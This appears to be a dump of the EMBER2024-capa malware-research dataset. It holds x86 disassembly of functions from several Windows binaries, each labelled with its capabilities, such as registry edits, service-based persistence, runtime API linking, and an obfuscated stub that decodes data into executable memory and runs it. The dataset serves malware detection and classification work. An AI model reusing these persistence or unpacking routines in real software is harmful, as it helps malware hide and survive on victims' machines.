joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a750
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push edi
lea ecx, [ebp - 4]
push ecx
push 0
lea edx, [ebp - 8]
push edx
push 0
mov edi, eax
mov eax, dword [ebp + 0xc]
push ebx
push edi
mov dword [ebp - 8], 7
mov dword [eax], 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x40a7b4
mov dword [esi], 0
cmp eax, 2
je 0x40a8a4
push 0
mov edi, eax
call fcn.00402080
push eax
push ebx
push 0xc00003fa
push 1
call fcn.004021b0
add esp, 0x14
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 8], 7
je 0x40a7e0
mov eax, dword [ebp + 8]
push 0
push eax
push ebx
push 0x8000040f
push 2
call fcn.004021b0
add esp, 0x14
mov dword [esi], 0
mov eax, 2
pop edi
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 4], 8
jae 0x40a7f6
mov dword [esi], 0
mov eax, 3
pop edi
mov esp, ebp
pop ebp
ret
mov eax, dword [esi]
test eax, eax
je 0x40a80c
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [ebp - 4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esi], eax
test eax, eax
jne 0x40a845
push eax
push str.get_environment__
push ebx
push 0xc00003eb
push 1
call fcn.004021b0
add esp, 0x14
mov eax, 4
pop edi
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 4]
push edx
push eax
lea eax, [ebp - 8]
push eax
push 0
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x40a898
push 0
mov edi, eax
call fcn.00402080
push eax
push ebx
push 0xc00003fa
push 1
call fcn.004021b0
mov ecx, dword [esi]
add esp, 0x14
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [esi], 0
mov eax, 5
pop edi
mov esp, ebp
pop ebp
ret
mov eax, dword [esi]
call fcn.00401be0
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x40a8b0
Capabilities:
Query environment variable
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
mov edi, eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
jne 0x40a8f2
push eax
mov eax, dword [ebp + 0xc]
push str.get_string__
push eax
push 0xc00003eb
push 1
call fcn.004021b0
add esp, 0x14
pop edi
lea eax, [esi + 1]
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 0x10]
push ebx
push edi
push 0
push ecx
call fcn.0041a110
mov ecx, dword [ebp + 0xc]
add esp, 0xc
lea edx, [ebp - 8]
push edx
mov edx, dword [ebp + 8]
push esi
lea eax, [ebp - 4]
push eax
push 0
push ecx
push edx
mov dword [ebp - 4], 2
mov dword [ebp - 8], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ebx, eax
test ebx, ebx
je 0x40a96f
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp ebx, 2
jne 0x40a946
cmp byte [ebp + 0x1c], 0
je 0x40a9b8
push 0
mov edi, ebx
call fcn.00402080
push eax
mov eax, dword [ebp + 0xc]
push eax
push 0xc00003fa
push 1
call fcn.004021b0
add esp, 0x14
pop ebx
pop edi
mov eax, 2
pop esi
mov esp, ebp
pop ebp
ret
cmp byte [ebp + 0x18], 0
je 0x40a97c
push esi
call dword [sym.imp.SHLWAPI.dll_PathUnquoteSpacesW]
cmp byte [ebp + 0x14], 0
jne 0x40a991
cmp dword [ebp - 4], 2
jne 0x40a997
mov dword [ebp - 4], 1
jmp 0x40a997
cmp dword [ebp - 4], 2
je 0x40a9c1
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 0x10]
push ecx
push esi
push edx
call fcn.00414290
add esp, 0xc
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0x10]
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
je 0x40a9d5
cmp eax, edi
jbe 0x40a9a8
push 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
call fcn.00402080
push eax
push esi
push 0xc00003fe
push 1
call fcn.004021b0
add esp, 0x14
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop ebx
pop edi
mov eax, 3
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40aa40
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, edx
push esi
lea esi, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40aa50
mov ecx, dword [ebp + 8]
sub eax, esi
sar eax, 1
lea eax, [eax + eax + 2]
push eax
push edx
push 2
push 0
push ebx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop esi
test eax, eax
jne 0x40aa7b
pop ebp
ret
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
call fcn.00402080
push eax
push ebx
push 0xc00003fb
push 1
call fcn.004021b0
add esp, 0x14
mov eax, 1
pop edi
pop ebp
ret
Function at 0x40aac0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 4
lea eax, [ebp + 8]
push eax
push 4
push 0
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x40aadb
pop ebp
ret
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
call fcn.00402080
push eax
push esi
push 0xc00003fb
push 1
call fcn.004021b0
add esp, 0x14
mov eax, 1
pop edi
pop ebp
ret

Function at 0x40ab10
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, 4
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 8]
push ecx
lea edx, [ebp - 8]
push edx
push 0
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40ab44
mov eax, 1
mov esp, ebp
pop ebp
ret
cmp eax, 2
jne 0x40ab4f
xor eax, eax
mov esp, ebp
pop ebp
ret
push edi
push 0
mov edi, eax
call fcn.00402080
push eax
push esi
push 0xc00003fa
push 1
call fcn.004021b0
add esp, 0x14
mov eax, 0xfffffffe
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x40b220
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x424284]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push edi
mov edi, ecx
mov ecx, 4
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], ecx
lea ecx, [ebp - 0x2c]
push ecx
push ebx
lea edx, [ebp - 0x28]
push edx
push 0
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x40b2c2
cmp eax, 2
je 0x40b2bd
cmp dword [ebp - 0x28], 4
je 0x40b2a3
mov eax, dword [ebp + 0xc]
push eax
push 0x4202bc
push 0xffffffffffffffff
lea ecx, [ebp - 0x24]
push 0x10
push ecx
call fcn.004149b0
mov eax, dword [ebp + 0x10]
push 0
lea edx, [ebp - 0x24]
push edx
push esi
push edi
push eax
push 2
call fcn.004021b0
mov ecx, dword [ebp + 0xc]
add esp, 0x2c
mov dword [ebx], ecx
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041427b
mov esp, ebp
pop ebp
ret
push 0
mov edi, eax
call fcn.00402080
push eax
push esi
push 0xc00003fa
push 1
call fcn.004021b0
add esp, 0x14
mov ecx, dword [ebp + 0xc]
mov dword [ebx], ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.0041427b
mov esp, ebp
pop ebp
ret
Function at 0x40be40
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x424284]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0x14]
test edi, edi
sete cl
mov byte [eax], cl
mov dword [ebp - 0x2c], eax
mov ecx, 0x20019
mov edx, str.AppExit
mov eax, ebx
call fcn.0040b400
mov esi, eax
test esi, esi
jne 0x40be97
pop edi
lea eax, [esi + 1]
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041427b
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x30], 0x10
test edi, edi
jne 0x40bed9
xor edx, edx
mov word [ebp - 0x24], dx
mov edx, dword [ebp - 0x28]
lea ecx, [ebp - 0x30]
push ecx
push edx
lea eax, [ebp - 0x34]
push eax
push 0
lea ecx, [ebp - 0x24]
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
test eax, eax
je 0x40bf20
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
je 0x40bf26
jmp 0x40befc
mov eax, dword [edi]
push eax
push 0x4202bc
push 0xffffffffffffffff
lea ecx, [ebp - 0x24]
push 0x10
push ecx
call fcn.004149b0
add esp, 0x14
test eax, eax
jns 0x40beaf
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
push edx
push eax
push 0
push ebx
call fcn.0040be40
add esp, 0x10
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041427b
mov esp, ebp
pop ebp
ret
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.0041427b
mov esp, ebp
pop ebp
ret
Function at 0x40bf40
Capabilities:
Delete registry value
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x424284]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push eax
push str.AppEvents
push 0x41fc18
push 0xffffffffffffffff
lea eax, [ebp - 0x204]
mov ebx, ecx
mov esi, edx
push 0xff
push eax
mov dword [ebp - 0x210], ebx
mov dword [ebp - 0x208], esi
call fcn.004149b0
add esp, 0x18
test eax, eax
jns 0x40bfbd
push 0
push str.set_hook__
push str.hook_registry
push 0xc00003eb
push 1
call fcn.004021b0
add esp, 0x14
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041427b
mov esp, ebp
pop ebp
ret
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40bfc2
sub eax, edx
sar eax, 1
jne 0x40c025
push ebx
xor al, al
mov ecx, 0x20019
lea edx, [ebp - 0x204]
call fcn.0040b3e0
mov esi, eax
add esp, 4
test esi, esi
jne 0x40c001
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041427b
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push 0
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
mov ebx, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp ebx, 2
je 0x40bfef
mov ebx, dword [ebp - 0x210]
mov ecx, 0x20006
lea edx, [ebp - 0x204]
mov eax, ebx
call fcn.0040b400
mov esi, eax
test esi, esi
je 0x40bfa8
mov edx, dword [ebp - 0x208]
mov eax, edx
lea ecx, [eax + 2]
mov ebx, 1
mov dword [ebp - 0x208], ecx
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40c057
sub eax, dword [ebp - 0x208]
sar eax, 1
je 0x40c07b
push esi
mov ebx, edi
call fcn.0040aa40
add esp, 4
mov ebx, eax
jmp 0x40c08e
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
test eax, eax
je 0x40c08c
cmp eax, 2
jne 0x40c08e
xor ebx, ebx
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.0041427b
mov esp, ebp
pop ebp
ret
Function at 0x40c2c0
Capabilities:
Query service status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0xc]
push ebx
push edi
push esi
xor edi, edi
push eax
xor ebx, ebx
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x40c34a
mov edx, dword [esi + 4]
mov ecx, dword [ebp + 8]
mov eax, edx
call fcn.0040c1c0
mov dword [ebp - 0xc], eax
test eax, eax
je 0x40c353
jg 0x40c2fc
cmp edx, dword [ebp + 0x10]
jne 0x40c34d
mov ecx, dword [esi + 0x14]
cmp ecx, ebx
jne 0x40c30b
mov edx, dword [ebp - 8]
cmp dword [esi + 0x18], edx
je 0x40c30d
xor edi, edi
mov eax, dword [esi + 0x18]
inc edi
mov ebx, ecx
mov dword [ebp - 8], eax
cmp edi, 0xa
jle 0x40c320
mov edi, 0xa
mov eax, dword [ebp + 0x14]
mov ecx, edi
imul ecx, ecx, 0x32
test eax, eax
je 0x40c334
cmp dword [ebp - 4], eax
ja 0x40c35b
add dword [ebp - 4], ecx
push ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp + 0xc]
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x40c2e1
or eax, 0xffffffff
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0xc]
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40d6e0
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
push ecx
test eax, eax
je 0x40d6f1
cmp word [eax], 0
mov dword [ebp - 4], eax
jne 0x40d6f8
mov dword [ebp - 4], 0x4201bc
lea eax, [ebp - 4]
push eax
push 1
push ecx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
test eax, eax
je 0x40d70f
xor eax, eax
mov esp, ebp
pop ebp
ret
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
call fcn.00402080
mov edx, dword [ebp + 8]
push eax
push edx
push 0x40000428
push 1
call fcn.004021b0
add esp, 0x14
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x40eb00
Capabilities:
Create service
Delete service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, eax
push edi
test esi, esi
jne 0x40eb17
lea eax, [esi + 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 3
call fcn.0040c9c0
mov dword [ebp - 4], eax
test eax, eax
jne 0x40eb4f
push 0x400001fb
call fcn.004147fb
add eax, 0x40
push eax
call fcn.00402220
add esp, 8
call fcn.0040db70
mov eax, 2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ebx, [esi + 0x8418]
call fcn.004086e0
push eax
push 0x4200a8
push 0xffffffffffffffff
push 0x7fff
push ebx
call fcn.004149b0
add esp, 0x14
push 0
push 0
push 0
push 0
push 0
push ebx
mov ebx, dword [ebp - 4]
push 1
push 2
push 0x10
push 0xf01ff
lea edi, [esi + 2]
push edi
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov dword [esi + 0x704b0], eax
test eax, eax
jne 0x40ebd6
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
call fcn.00402080
push eax
push 0x40000203
call fcn.004147fb
add eax, 0x40
push eax
call fcn.00402220
add esp, 0xc
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 5
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
call fcn.0040ec30
add esp, 4
test eax, eax
je 0x40ec04
mov eax, dword [esi + 0x704b0]
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 6
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
push 0x4000021e
call fcn.004147fb
add eax, 0x20
push eax
call fcn.00402220
add esp, 0xc
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40f440
Capabilities:
Delete service

Disassembly:
push ebp
mov ebp, esp
push ecx
test ebx, ebx
jne 0x40f44f
lea eax, [ebx + 1]
mov esp, ebp
pop ebp
ret
push edi
mov eax, 5
call fcn.0040c9c0
mov edi, eax
test edi, edi
jne 0x40f47e
push 0x400001fb
call fcn.004147fb
add eax, 0x40
push eax
call fcn.00402220
add esp, 8
lea eax, [edi + 2]
pop edi
mov esp, ebp
pop ebp
ret
push esi
push 0x100
lea esi, [ebx + 2]
push esi
push 0x10000
push esi
push edi
call fcn.0040c9f0
add esp, 0x14
mov dword [ebx + 0x704b0], eax
test eax, eax
jne 0x40f4b3
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
mov eax, 3
pop edi
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 4]
push ecx
lea eax, [ebx + 0x202]
push eax
push esi
push edi
mov dword [ebp - 4], 0x100
call dword [sym.imp.ADVAPI32.dll_GetServiceDisplayNameW]
lea edx, [ebp - 4]
push edx
push esi
lea eax, [ebx + 0x202]
push eax
push edi
mov dword [ebp - 4], 0x100
call dword [sym.imp.ADVAPI32.dll_GetServiceKeyNameW]
mov eax, dword [ebx + 0x704b0]
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x40f520
push 0x40000221
call fcn.004147fb
add eax, 0x40
push eax
call fcn.00402220
add esp, 8
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
mov eax, 4
pop edi
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
push 0x40000222
call fcn.004147fb
add eax, 0x20
push eax
call fcn.00402220
add esp, 0xc
pop esi
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x40f850
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, eax
mov ecx, dword [esi + 0x704b0]
lea eax, [ebp - 4]
push eax
push 4
push ecx
mov dword [ebp - 4], 1
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
test eax, eax
jne 0x40f89f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7c
je 0x40f89f
push edi
push 0
mov edi, eax
call fcn.00402080
push eax
add esi, 2
push esi
push 0x40000413
push 1
call fcn.004021b0
add esp, 0x14
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x41427b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x424284]
jne 0x414285
repz ret
jmp fcn.004156b3

Function at 0x41d04c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x424284]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004162e9
and dword [ebp - 0x14], 0
cmp dword [0x4261d4], 0
mov dword [ebp - 0x18], eax
jne 0x41d0ff
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41d1a7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x41fbac
push ebx
call edi
test eax, eax
je 0x41d1a7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4261d4], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4261d8], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4261dc], eax
call edi
push eax
call esi
mov dword [0x4261e4], eax
test eax, eax
je 0x41d0ff
push 0x41fb54
push ebx
call edi
push eax
call esi
mov dword [0x4261e0], eax
mov eax, dword [0x4261e0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41d158
cmp dword [0x4261e4], ecx
je 0x41d158
push eax
call esi
push dword [0x4261e4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41d158
test ebx, ebx
je 0x41d158
call edi
test eax, eax
je 0x41d14f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41d14f
test byte [ebp - 8], 1
jne 0x41d158
or dword [ebp + 0x10], 0x200000
jmp 0x41d18b
mov eax, dword [0x4261d8]
cmp eax, dword [ebp - 0x18]
je 0x41d18b
push eax
call esi
test eax, eax
je 0x41d18b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41d18b
mov eax, dword [0x4261dc]
cmp eax, dword [ebp - 0x18]
je 0x41d18b
push eax
call esi
test eax, eax
je 0x41d18b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4261d4]
call esi
test eax, eax
je 0x41d1a7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41d1a9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041427b
leave
ret
Function at 0x40138e
Capabilities:
Terminate process

Disassembly:
jmp 0x40e9c8
cmp dword [esp + 4], 0
mov edx, str.error_unpacking_archive
cmovne edx, dword [esp + 4]
cmp byte [edx], 0x40
lea eax, [edx + 1]
cmovne eax, edx
push eax
push 0x4258e0
push dword [ecx + 0x68]
call fcn.0040146a
add esp, 0xc
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3

Function at 0x401497
Capabilities:
Parse pe header

Disassembly:
jmp 0x41b004
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x41b044
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41b044
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41b044
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41b044
cmp dword [ecx + 0x74], 0xe
jbe 0x41b044
cmp dword [ecx + 0xe8], 0
je 0x41b044
mov al, 1
ret
xor al, al
ret

Function at 0x40160e
Capabilities:
Terminate process

Disassembly:
jmp 0x419793
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x4197d1
push 0x4259e0
push dword [esp + 0xc]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov dword [esi], eax
pop ecx
pop ecx
test eax, eax
jne 0x4197d1
push dword [esp + 8]
mov eax, dword [esi + 0x30]
push str.Error:_Could_not_open_jar_file:__s_n
push dword [eax + 0x68]
call fcn.0040146a
add esp, 0xc
push 3
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
pop esi
ret 4
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x4058bd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x4058cc
pop dword [ebp - 8]
mov eax, 0x205299b4
add eax, 0xdfedbf18
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x26766351
sub dword [ebp - 0x18], 0xd8241e06
mov dword [ebp - 0x14], 0x20a3560b
add dword [ebp - 0x14], 0x118ff63a
mov dword [ebp - 0x10], 0x4d232408
sub dword [ebp - 0x10], 0xd6dfda
mov dword [ebp - 0xc], 0x533f5b88
sub dword [ebp - 0xc], 0x533f5b88
lea eax, [ebp - 0x18]
push eax
mov eax, 0xe21674f3
add eax, 0x1e2a5b61
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x4f34b09d
add dword [ebp - 0x18], 0x253db8b9
mov dword [ebp - 0x14], 0x5ad09af1
sub dword [ebp - 0x14], 0x1964397c
mov dword [ebp - 0x10], 0x9fee3edd
sub dword [ebp - 0x10], 0x3c7ed271
mov dword [ebp - 0xc], 0xa7dc5d94
sub dword [ebp - 0xc], 0xa7dc5d94
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x3cb48
push 0
call eax
mov ecx, 0xd73392cd
sub ecx, 0xd7333e2b
mov edx, eax
mov edi, 0x41b000
add edi, dword [ebp - 8]
mov esi, 0x2cf47146
add dword [ebp - 4], 0x5cd966bc
mov ebx, dword [edi]
sub dword [ebp - 4], edi
add ebx, esi
xor dword [ebp - 4], 0x3e72a0c7
mov dword [edx], ebx
sub dword [ebp - 4], 0x5540e5a8
add edx, 4
add edi, 0x54dd05
sub edi, 0x54dd01
loop 0x4059dd
add eax, 0x41267d62
add eax, 0xbedac7f9
xor ebx, ebx
add ebx, eax
add eax, 0x21440624
add eax, 0xdebbf9e1
mov ecx, 0x4f125f38
sub ecx, 0x4ed25f38
add ecx, dword [ebp - 8]
call ebx
leave
ret